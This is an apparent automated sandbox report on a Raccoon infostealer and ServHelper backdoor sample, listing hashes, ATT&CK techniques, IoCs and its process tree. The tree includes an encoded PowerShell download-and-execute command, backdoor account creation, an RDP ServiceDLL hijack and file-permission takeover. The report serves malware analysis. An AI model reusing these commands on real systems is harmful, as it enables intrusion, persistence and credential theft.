raccoon | 01d8352e8397f861759f898304108f1b112d02955a4b074ae94e23cf453c2d9e

Analysis

max time kernel
123s
max time network
170s
platform
windows7_x64
resource
win7v20210408
submitted
02-06-2021 18:09

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General

Target

acc097ebccc7a88710f4496a52d8ea2c.exe
Size

567KB
MD5

acc097ebccc7a88710f4496a52d8ea2c
SHA1

aa238dbaf6d1d53cb332ec35c3d55989a507b4b7
SHA256

01d8352e8397f861759f898304108f1b112d02955a4b074ae94e23cf453c2d9e
SHA512

2a2e89c0be5ea447e4b3e520668574c85d2e3de460d6161027f209fe8da0700ee96c73a7348073abb2d38844f04884f2e89fb45d0cee38f1f8f55a175c2c5f43

Score

10^/10

raccoon servhelper e46634757936706c1ff491585768dd6fe231db30 backdoor discovery exploit persistence spyware stealer trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
14	532	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1100	gMOTJ7NkH1.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
888	icacls.exe
792	icacls.exe
2044	icacls.exe
1928	takeown.exe
1756	icacls.exe
1684	icacls.exe
300	icacls.exe
1080	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0005000000013113-199.dat	upx
behavioral1/files/0x0006000000013116-200.dat	upx

Deletes itself 1 IoCs

pid	Process
1352	cmd.exe

Loads dropped DLL 12 IoCs

pid	Process
1644	acc097ebccc7a88710f4496a52d8ea2c.exe
1644	acc097ebccc7a88710f4496a52d8ea2c.exe
1644	acc097ebccc7a88710f4496a52d8ea2c.exe
1644	acc097ebccc7a88710f4496a52d8ea2c.exe
1644	acc097ebccc7a88710f4496a52d8ea2c.exe
1644	acc097ebccc7a88710f4496a52d8ea2c.exe
1644	acc097ebccc7a88710f4496a52d8ea2c.exe
1644	acc097ebccc7a88710f4496a52d8ea2c.exe
1644	acc097ebccc7a88710f4496a52d8ea2c.exe
1644	acc097ebccc7a88710f4496a52d8ea2c.exe
1072	Process not Found
1072	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
792	icacls.exe
2044	icacls.exe
1928	takeown.exe
1756	icacls.exe
1684	icacls.exe
300	icacls.exe
1080	icacls.exe
888	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7ef4c374-1eb7-4cc3-8456-1e78e3d442fe	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bbfa8c93-6e01-4b69-a866-1e8b50edd0b2	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_847c12ca-4190-4b33-af59-922a4cdd0a3a	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d0f9142c-c42f-4b22-b41a-5bde1b39ba43	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_353626f1-41ce-4d79-bc91-7652e0e2ab6f	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0a01f876-8459-4b8f-9e92-7073ce2ced7f	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_88872ee2-aa96-4694-bfad-794ac6a32169	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_11b5767a-48c9-4edd-9454-18dc9267e929	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b76f3c49-3811-489a-84d0-d7a1b04c9313	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VVDXQMWL6SC25OFE3PDD.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_45e7a8a3-e676-4cce-8b54-5b66e54f2758	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_74301eb9-ce42-475e-9dd8-87b0457d2557	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
408	timeout.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e0d5a5f2eb57d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1596	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	acc097ebccc7a88710f4496a52d8ea2c.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	acc097ebccc7a88710f4496a52d8ea2c.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1404	powershell.exe
1404	powershell.exe
1596	powershell.exe
1596	powershell.exe
1000	powershell.exe
1000	powershell.exe
1004	powershell.exe
1004	powershell.exe
1404	powershell.exe
1404	powershell.exe
1404	powershell.exe
532	powershell.exe
532	powershell.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
460	Process not Found
1072	Process not Found
1072	Process not Found
1072	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1404	powershell.exe
Token: SeDebugPrivilege	1596	powershell.exe
Token: SeDebugPrivilege	1000	powershell.exe
Token: SeDebugPrivilege	1004	powershell.exe
Token: SeRestorePrivilege	1684	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1724	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1724	WMIC.exe
Token: SeAuditPrivilege	1724	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1724	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1724	WMIC.exe
Token: SeAuditPrivilege	1724	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	328	WMIC.exe
Token: SeIncreaseQuotaPrivilege	328	WMIC.exe
Token: SeAuditPrivilege	328	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	328	WMIC.exe
Token: SeIncreaseQuotaPrivilege	328	WMIC.exe
Token: SeAuditPrivilege	328	WMIC.exe
Token: SeDebugPrivilege	532	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1644 wrote to memory of 1100	1644	acc097ebccc7a88710f4496a52d8ea2c.exe	30
PID 1644 wrote to memory of 1100	1644	acc097ebccc7a88710f4496a52d8ea2c.exe	30
PID 1644 wrote to memory of 1100	1644	acc097ebccc7a88710f4496a52d8ea2c.exe	30
PID 1644 wrote to memory of 1100	1644	acc097ebccc7a88710f4496a52d8ea2c.exe	30
PID 1644 wrote to memory of 1352	1644	acc097ebccc7a88710f4496a52d8ea2c.exe	31
PID 1644 wrote to memory of 1352	1644	acc097ebccc7a88710f4496a52d8ea2c.exe	31
PID 1644 wrote to memory of 1352	1644	acc097ebccc7a88710f4496a52d8ea2c.exe	31
PID 1644 wrote to memory of 1352	1644	acc097ebccc7a88710f4496a52d8ea2c.exe	31
PID 1352 wrote to memory of 408	1352	cmd.exe	33
PID 1352 wrote to memory of 408	1352	cmd.exe	33
PID 1352 wrote to memory of 408	1352	cmd.exe	33
PID 1352 wrote to memory of 408	1352	cmd.exe	33
PID 1100 wrote to memory of 1404	1100	gMOTJ7NkH1.exe	34
PID 1100 wrote to memory of 1404	1100	gMOTJ7NkH1.exe	34
PID 1100 wrote to memory of 1404	1100	gMOTJ7NkH1.exe	34
PID 1404 wrote to memory of 1764	1404	powershell.exe	36
PID 1404 wrote to memory of 1764	1404	powershell.exe	36
PID 1404 wrote to memory of 1764	1404	powershell.exe	36
PID 1764 wrote to memory of 960	1764	csc.exe	37
PID 1764 wrote to memory of 960	1764	csc.exe	37
PID 1764 wrote to memory of 960	1764	csc.exe	37
PID 1404 wrote to memory of 1596	1404	powershell.exe	38
PID 1404 wrote to memory of 1596	1404	powershell.exe	38
PID 1404 wrote to memory of 1596	1404	powershell.exe	38
PID 1404 wrote to memory of 1000	1404	powershell.exe	40
PID 1404 wrote to memory of 1000	1404	powershell.exe	40
PID 1404 wrote to memory of 1000	1404	powershell.exe	40
PID 1404 wrote to memory of 1004	1404	powershell.exe	42
PID 1404 wrote to memory of 1004	1404	powershell.exe	42
PID 1404 wrote to memory of 1004	1404	powershell.exe	42
PID 1404 wrote to memory of 1928	1404	powershell.exe	45
PID 1404 wrote to memory of 1928	1404	powershell.exe	45
PID 1404 wrote to memory of 1928	1404	powershell.exe	45
PID 1404 wrote to memory of 1756	1404	powershell.exe	46
PID 1404 wrote to memory of 1756	1404	powershell.exe	46
PID 1404 wrote to memory of 1756	1404	powershell.exe	46
PID 1404 wrote to memory of 1684	1404	powershell.exe	47
PID 1404 wrote to memory of 1684	1404	powershell.exe	47
PID 1404 wrote to memory of 1684	1404	powershell.exe	47
PID 1404 wrote to memory of 300	1404	powershell.exe	48
PID 1404 wrote to memory of 300	1404	powershell.exe	48
PID 1404 wrote to memory of 300	1404	powershell.exe	48
PID 1404 wrote to memory of 1080	1404	powershell.exe	49
PID 1404 wrote to memory of 1080	1404	powershell.exe	49
PID 1404 wrote to memory of 1080	1404	powershell.exe	49
PID 1404 wrote to memory of 888	1404	powershell.exe	50
PID 1404 wrote to memory of 888	1404	powershell.exe	50
PID 1404 wrote to memory of 888	1404	powershell.exe	50
PID 1404 wrote to memory of 792	1404	powershell.exe	51
PID 1404 wrote to memory of 792	1404	powershell.exe	51
PID 1404 wrote to memory of 792	1404	powershell.exe	51
PID 1404 wrote to memory of 2044	1404	powershell.exe	52
PID 1404 wrote to memory of 2044	1404	powershell.exe	52
PID 1404 wrote to memory of 2044	1404	powershell.exe	52
PID 1404 wrote to memory of 1200	1404	powershell.exe	53
PID 1404 wrote to memory of 1200	1404	powershell.exe	53
PID 1404 wrote to memory of 1200	1404	powershell.exe	53
PID 1404 wrote to memory of 1596	1404	powershell.exe	54
PID 1404 wrote to memory of 1596	1404	powershell.exe	54
PID 1404 wrote to memory of 1596	1404	powershell.exe	54
PID 1404 wrote to memory of 380	1404	powershell.exe	55
PID 1404 wrote to memory of 380	1404	powershell.exe	55
PID 1404 wrote to memory of 380	1404	powershell.exe	55
PID 1404 wrote to memory of 328	1404	powershell.exe	56

C:\Users\Admin\AppData\Local\Temp\acc097ebccc7a88710f4496a52d8ea2c.exe
"C:\Users\Admin\AppData\Local\Temp\acc097ebccc7a88710f4496a52d8ea2c.exe"
1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1644
- C:\Users\Admin\AppData\Local\Temp\gMOTJ7NkH1.exe
  "C:\Users\Admin\AppData\Local\Temp\gMOTJ7NkH1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1404
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4okizsyp\4okizsyp.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1764
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9656.tmp" "c:\Users\Admin\AppData\Local\Temp\4okizsyp\CSCC106AFEA77AA4C54AA17687EBA5FF632.TMP"
        5⤵
        
        PID:960
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1596
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1000
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1004
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1928
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1756
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1684
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:300
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1080
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:888
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:792
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2044
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:1200
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:1596
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:380
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:328
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:532
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      PID:1636
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        
        PID:1620
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        
        PID:948
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:1768
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      PID:1004
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:1584
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        
        PID:1240
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:1232
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:1864
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:2040
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\acc097ebccc7a88710f4496a52d8ea2c.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1352
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:408

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:1352
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1496
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1580

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc WfJvciEn /add
1⤵
PID:1696
- C:\Windows\system32\net.exe
  net.exe user wgautilacc WfJvciEn /add
  2⤵
  PID:380
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc WfJvciEn /add
    3⤵
    PID:1172

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1152
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:948
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1644

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:532
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:1096
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:1496

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1580
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:916
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:380

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc WfJvciEn
1⤵
PID:1588
- C:\Windows\system32\net.exe
  net.exe user wgautilacc WfJvciEn
  2⤵
  PID:1928
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc WfJvciEn
    3⤵
    PID:948

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:300
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1724

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1524
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:328

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1908
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1756
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:532

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:2036
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:1172
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:1760

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/532-220-0x0000000019640000-0x0000000019642000-memory.dmp

Filesize
8KB

Download
memory/532-221-0x0000000019644000-0x0000000019646000-memory.dmp

Filesize
8KB

Download
memory/532-222-0x000000001964A000-0x0000000019669000-memory.dmp

Filesize
124KB

Download
memory/1000-144-0x0000000002650000-0x0000000002651000-memory.dmp

Filesize
4KB

Download
memory/1000-150-0x00000000025D0000-0x00000000025D2000-memory.dmp

Filesize
8KB

Download
memory/1000-151-0x00000000025D4000-0x00000000025D6000-memory.dmp

Filesize
8KB

Download
memory/1000-146-0x000000001B700000-0x000000001B701000-memory.dmp

